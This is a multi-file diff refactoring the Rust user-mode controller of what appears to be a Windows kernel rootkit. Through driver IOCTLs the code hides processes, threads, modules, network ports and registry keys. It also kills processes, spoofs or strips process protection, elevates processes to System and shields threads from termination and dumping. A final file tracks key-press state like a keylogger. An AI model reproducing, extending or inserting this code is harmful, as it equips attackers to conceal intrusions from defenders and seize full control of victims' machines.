if status == 0 {
log::error!("DeviceIoControl failed with status: 0x{:08X} for PID: {pid}", unsafe { GetLastError() } );
error!("DeviceIoControl failed with status: 0x{:08X} for PID: {pid}", unsafe { GetLastError() } );
} else {
let total_modules = return_buffer as usize / size_of::<ModuleInfo>();
log::info!("Total modules found for PID {pid}: {total_modules}");
log::info!("Listing modules:");
info!("Total modules found for PID {pid}: {total_modules}");
info!("Listing modules:");
println!();
for module in module_info.iter() {
@@ -70,7 +74,7 @@ impl Module {
let name = match String::from_utf16(&module.name) {
Ok(name) => name,
Err(err) => {
log::error!("UTF-16 decoding error: {:?}", err);
error!("UTF-16 decoding error: {:?}", err);
continue;
}
};
@@ -79,7 +83,7 @@ impl Module {
}
println!();
log::info!("Module enumeration completed for PID: {pid}");
info!("Module enumeration completed for PID: {pid}");
}
}
@@ -91,19 +95,19 @@ impl Module {
/// * `name` - A reference to the module name to hide.
/// * `pid` - The PID of the process containing the module to hide.
pub fn hide_module(self, ioctl_code: u32, name: &String, pid: u32) {
log::debug!("Attempting to open the module for hide operation");
debug!("Attempting to open the module for hide operation");
log::debug!("Preparing structure for: {}", name);
debug!("Preparing structure for: {}", name);
let mut info_driver = TargetModule {
module_name: name.to_string(),
pid: pid as usize,
};
log::debug!("Sending DeviceIoControl command to hide module");
debug!("Sending DeviceIoControl command to hide module");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_driver as *mut _ as *mut c_void,
size_of::<TargetModule>() as u32,
@@ -115,9 +119,9 @@ impl Module {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Module successfully hidden");
info!("Module successfully hidden");
}
}
}
@@ -125,7 +129,7 @@ impl Module {
impl Drop for Module {
/// Ensures the driver handle is closed when `Module` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,15 +1,19 @@
use crate::utils::{open_driver, PortType, Protocol};
use common::structs::TargetPort;
use std::{ffi::c_void, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError, HANDLE},
System::IO::DeviceIoControl,
};
use common::structs::TargetPort;
use crate::utils::{
open_driver,
PortType,
Protocol
};
/// Provides operations for managing network ports through a driver interface.
pub struct Network {
driver_handle: HANDLE,
}
pub struct Network(HANDLE);
impl Network {
/// Creates a new `Port` instance, opening a handle to the driver.
@@ -22,8 +26,8 @@ impl Network {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Self { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Hides or unhides a specific network port.
@@ -53,7 +57,7 @@ impl Network {
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut port_info as *mut _ as *mut c_void,
size_of::<TargetPort>() as u32,
@@ -65,9 +69,9 @@ impl Network {
};
if status == 0 {
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Port with number {} successfully {}hidden", port_number, if enable { "" } else { "un" });
info!("Port with number {} successfully {}hidden", port_number, if enable { "" } else { "un" });
}
}
}
@@ -75,7 +79,7 @@ impl Network {
impl Drop for Network {
/// Ensures the driver handle is closed when `Port` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,18 +1,18 @@
use common::structs::TargetProcess;
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError, HANDLE},
System::IO::DeviceIoControl,
};
use common::structs::TargetProcess;
use crate::{
utils::{open_driver, Options},
PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE,
};
/// Provides operations for managing processes through a driver interface.
pub struct Process {
driver_handle: HANDLE,
}
pub struct Process(HANDLE);
impl Process {
/// Creates a new `Process` instance, opening a handle to the driver.
@@ -25,8 +25,8 @@ impl Process {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Process { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Hides or unhides a Process specified by `pid`.
@@ -38,7 +38,7 @@ impl Process {
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the Process.
pub fn hide_unhide_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
if let Some(pid_value) = pid {
log::info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
let pid = *pid_value as usize;
let mut target_process = TargetProcess {
enable,
@@ -49,7 +49,7 @@ impl Process {
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
@@ -61,12 +61,12 @@ impl Process {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" });
info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" });
}
} else {
log::error!("PID not supplied");
error!("PID not supplied");
}
}
@@ -78,7 +78,7 @@ impl Process {
/// * `ioctl_code` - The IOCTL code for the terminate operation.
pub fn terminate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
if let Some(pid_value) = pid {
log::info!("Preparing to terminate process: {}", pid_value);
info!("Preparing to terminate process: {}", pid_value);
let pid = *pid_value as usize;
let mut target_process = TargetProcess {
pid,
@@ -88,7 +88,7 @@ impl Process {
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
@@ -100,12 +100,12 @@ impl Process {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Process with PID {} terminated successfully", pid);
info!("Process with PID {} terminated successfully", pid);
}
} else {
log::error!("PID not supplied");
error!("PID not supplied");
}
}
@@ -119,7 +119,7 @@ impl Process {
#[cfg(not(feature = "mapper"))]
pub fn protection_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
if let Some(pid_value) = pid {
log::info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value);
info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value);
let pid = *pid_value as usize;
let mut target_process = TargetProcess {
pid,
@@ -130,7 +130,7 @@ impl Process {
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
@@ -142,14 +142,14 @@ impl Process {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe {
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe {
GetLastError()
});
} else {
log::info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" });
info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" });
}
} else {
log::error!("PID not supplied");
error!("PID not supplied");
}
}
@@ -169,7 +169,7 @@ impl Process {
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut enumeration_input as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
@@ -181,10 +181,10 @@ impl Process {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
let total_process = return_buffer as usize / size_of::<TargetProcess>();
log::info!("Total Processes: {}", total_process);
info!("Total Processes: {}", total_process);
println!("Listing Processes:");
for (i, process) in info_process.iter().enumerate().take(total_process) {
if process.pid > 0 {
@@ -210,7 +210,7 @@ impl Process {
tp: &PS_PROTECTED_TYPE,
) {
if let Some(pid_value) = pid {
log::info!("Preparing to apply signature protection for process: {}", pid_value);
info!("Preparing to apply signature protection for process: {}", pid_value);
let pid = *pid_value as usize;
let sg = *sg as usize;
let tp = *tp as usize;
@@ -224,7 +224,7 @@ impl Process {
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_protection_process as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
@@ -236,9 +236,9 @@ impl Process {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Process with PID {} successfully protected", pid);
info!("Process with PID {} successfully protected", pid);
}
}
}
@@ -251,7 +251,7 @@ impl Process {
/// * `ioctl_code` - The IOCTL code for the elevation operation.
pub fn elevate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
if let Some(pid_value) = pid {
log::info!("Preparing to elevate process: {}", pid_value);
info!("Preparing to elevate process: {}", pid_value);
let pid = *pid_value as usize;
let mut target_process = TargetProcess {
pid,
@@ -261,7 +261,7 @@ impl Process {
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
@@ -273,12 +273,12 @@ impl Process {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Process with PID {} elevated to System", pid);
info!("Process with PID {} elevated to System", pid);
}
} else {
log::error!("PID not supplied");
error!("PID not supplied");
}
}
}
@@ -286,7 +286,7 @@ impl Process {
impl Drop for Process {
/// Ensures the driver handle is closed when `Thread` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,15 +1,15 @@
use crate::utils::open_driver;
use common::structs::TargetRegistry;
use std::{ffi::c_void, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError, HANDLE},
System::IO::DeviceIoControl,
};
use crate::utils::open_driver;
use common::structs::TargetRegistry;
/// Provides operations for managing the registry through a driver interface.
pub struct Registry {
driver_handle: HANDLE,
}
pub struct Registry(HANDLE);
impl Registry {
/// Creates a new `Registry` instance, opening a handle to the driver.
@@ -22,8 +22,8 @@ impl Registry {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Registry { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Enables or disables protection for a specified registry key and value.
@@ -35,19 +35,19 @@ impl Registry {
/// * `key` - A reference to the registry key name to protect.
/// * `enable` - `true` to enable protection or `false` to disable it.
pub fn registry_protection(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
log::info!("Attempting to open the registry for protection operation");
log::debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" });
info!("Attempting to open the registry for protection operation");
debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" });
let mut info_registry = TargetRegistry {
enable,
value: value.to_string(),
key: key.to_string(),
};
log::debug!("Sending DeviceIoControl command to {} protection for key: {key} | value: {value}", if enable { "enable" } else { "disable" });
debug!("Sending DeviceIoControl command to {} protection for key: {key} | value: {value}", if enable { "enable" } else { "disable" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_registry as *mut _ as *mut c_void,
std::mem::size_of::<TargetRegistry>() as u32,
@@ -59,9 +59,9 @@ impl Registry {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Registry protection {} for Key: {key} and Value: {value} succeeded", if enable { "enabled" } else { "disabled" });
info!("Registry protection {} for Key: {key} and Value: {value} succeeded", if enable { "enabled" } else { "disabled" });
}
}
@@ -74,9 +74,9 @@ impl Registry {
/// * `key` - A reference to the registry key name to hide/unhide.
/// * `enable` - `true` to hide or `false` to unhide.
pub fn registry_hide_unhide(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
log::info!("Attempting to open the registry for hide/unhide operation");
info!("Attempting to open the registry for hide/unhide operation");
log::debug!("Preparing structure for Key: {key} | Value: {value} | Operation: {}", if enable { "hide" } else { "unhide" });
debug!("Preparing structure for Key: {key} | Value: {value} | Operation: {}", if enable { "hide" } else { "unhide" });
let mut info_registry = TargetRegistry {
enable,
key: key.to_string(),
@@ -84,11 +84,11 @@ impl Registry {
..Default::default()
};
log::debug!("Sending DeviceIoControl command to {} registry for Key: {key} | Value: {value}", if enable { "hide" } else { "unhide" });
debug!("Sending DeviceIoControl command to {} registry for Key: {key} | Value: {value}", if enable { "hide" } else { "unhide" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut info_registry as *mut _ as *mut c_void,
std::mem::size_of::<TargetRegistry>() as u32,
@@ -100,9 +100,9 @@ impl Registry {
};
if status == 0 {
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Registry with Key: {key} and Value: {value} successfully {}hidden", if enable { "" } else { "un" });
info!("Registry with Key: {key} and Value: {value} successfully {}hidden", if enable { "" } else { "un" });
}
}
}
@@ -110,7 +110,7 @@ impl Registry {
impl Drop for Registry {
/// Ensures the driver handle is closed when `Registry` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,15 +1,15 @@
use crate::utils::{open_driver, Options};
use common::structs::TargetThread;
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use log::{info, error, debug};
use windows_sys::Win32::{
Foundation::{CloseHandle, HANDLE},
System::IO::DeviceIoControl,
};
use common::structs::TargetThread;
use crate::utils::{open_driver, Options};
/// Provides operations for managing threads through a driver interface.
pub struct Thread {
driver_handle: HANDLE,
}
pub struct Thread(HANDLE);
impl Thread {
/// Creates a new `Thread` instance, opening a handle to the driver.
@@ -22,8 +22,8 @@ impl Thread {
///
/// Panics if the driver cannot be opened.
pub fn new() -> Self {
let driver_handle = open_driver().expect("Error");
Thread { driver_handle }
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Hides or unhides a thread specified by `tid`.
@@ -34,9 +34,9 @@ impl Thread {
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the thread.
pub fn hide_unhide_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
log::debug!("Attempting to open the driver for hide/unhide operation");
debug!("Attempting to open the driver for hide/unhide operation");
if let Some(tid_value) = tid {
log::debug!("Preparing structure for TID: {}", tid_value);
debug!("Preparing structure for TID: {}", tid_value);
let mut return_buffer = 0;
let tid = *tid_value as usize;
let mut target_thread = TargetThread {
@@ -45,10 +45,10 @@ impl Thread {
..Default::default()
};
log::debug!( "Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
debug!( "Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut target_thread as *mut _ as *mut c_void,
size_of::<TargetThread>() as u32,
@@ -60,12 +60,12 @@ impl Thread {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
log::info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" });
info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" });
}
} else {
log::error!("TID not supplied");
error!("TID not supplied");
}
}
@@ -78,9 +78,9 @@ impl Thread {
/// * `enable` - A boolean indicating whether to enable (`true`) or disable (`false`) protection.
#[cfg(not(feature = "mapper"))]
pub fn protection_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
log::debug!("Attempting to open the driver for thread protection operation");
debug!("Attempting to open the driver for thread protection operation");
if let Some(tid_value) = tid {
log::debug!("Preparing structure for TID: {}", tid_value);
debug!("Preparing structure for TID: {}", tid_value);
let mut return_buffer = 0;
let tid = *tid_value as usize;
let mut target_thread = TargetThread {
@@ -89,10 +89,10 @@ impl Thread {
..Default::default()
};
log::debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut target_thread as *mut _ as *mut c_void,
size_of::<TargetThread>() as u32,
@@ -104,12 +104,12 @@ impl Thread {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
log::info!("Thread TID {tid} with anti-kill and dumping functions {}", if enable { "enabled" } else { "disabled" });
info!("Thread TID {tid} with anti-kill and dumping functions {}", if enable { "enabled" } else { "disabled" });
}
} else {
log::error!("TID not supplied");
error!("TID not supplied");
}
}
@@ -120,18 +120,18 @@ impl Thread {
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
/// * `option` - Reference to `Options` struct specifying options for the enumeration.
pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) {
log::debug!("Attempting to open the driver for thread enumeration");
debug!("Attempting to open the driver for thread enumeration");
let mut info_thread: [TargetThread; 100] = unsafe { std::mem::zeroed() };
let mut enumeration_input = TargetThread {
options: option.to_shared(),
..Default::default()
};
log::debug!("Sending DeviceIoControl command to enumerate threads");
debug!("Sending DeviceIoControl command to enumerate threads");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
self.driver_handle,
self.0,
ioctl_code,
&mut enumeration_input as *mut _ as *mut c_void,
size_of::<TargetThread>() as u32,
@@ -143,13 +143,13 @@ impl Thread {
};
if status == 0 {
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
let total_threads = return_buffer as usize / size_of::<TargetThread>();
log::info!("Total Threads: {}", total_threads);
info!("Total Threads: {}", total_threads);
for (i, thread) in info_thread.iter().enumerate().take(total_threads) {
if thread.tid > 0 {
log::info!("[{}] {}", i, info_thread[i].tid);
info!("[{}] {}", i, info_thread[i].tid);
}
}
}
@@ -159,7 +159,7 @@ impl Thread {
impl Drop for Thread {
/// Ensures the driver handle is closed when `Thread` goes out of scope.
fn drop(&mut self) {
log::debug!("Closing the driver handle");
unsafe { CloseHandle(self.driver_handle) };
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };
}
}

View File

@@ -1,15 +1,21 @@
use super::VK_CHARS;
use crate::{
is_key_down,
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE},
is_key_down,
set_key_down,
modules::{
KEY_PREVIOUS,
KEY_RECENT,
KEY_STATE
},
};
/// Updates the status of the keys.
pub unsafe fn update_key_state() {
for i in 0..256 {
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
set_key_down!(KEY_RECENT, i, true);
pub fn update_key_state() {
unsafe {
for i in 0..256 {
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
set_key_down!(KEY_RECENT, i, true);
}
}
}
}
@@ -23,10 +29,12 @@ pub unsafe fn update_key_state() {
/// # Returns
///
/// * `bool` - if the key was pressed, otherwise `false`.
pub unsafe fn key_pressed(key: u8) -> bool {
let result = is_key_down!(KEY_RECENT, key);
set_key_down!(KEY_RECENT, key, false);
result
pub fn key_pressed(key: u8) -> bool {
unsafe {
let result = is_key_down!(KEY_RECENT, key);
set_key_down!(KEY_RECENT, key, false);
result
}
}
/// Converts a virtual key code to a character.

View File

@@ -1,14 +1,21 @@
use std::{io::Write, path::Path, ptr::null_mut};
use colored::Colorize;
use env_logger::Builder;
use log::{Level, LevelFilter};
use std::{io::Write, path::Path, ptr::null_mut};
use sysinfo::System;
use windows_sys::{
w,
Win32::{
Foundation::{GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE},
Storage::FileSystem::{CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING},
Foundation::{
GetLastError, GENERIC_READ,
GENERIC_WRITE, INVALID_HANDLE_VALUE,
HANDLE,
},
Storage::FileSystem::{
CreateFileW, FILE_ATTRIBUTE_NORMAL,
OPEN_EXISTING
},
},
};
@@ -60,9 +67,7 @@ pub fn open_driver() -> Result<HANDLE, &'static str> {
};
if h_file == INVALID_HANDLE_VALUE {
log::error!("CreateFileW failed with error: {}", unsafe {
GetLastError()
});
log::error!("CreateFileW failed with error: {}", unsafe { GetLastError() });
return Err("Failed to open the driver.");
}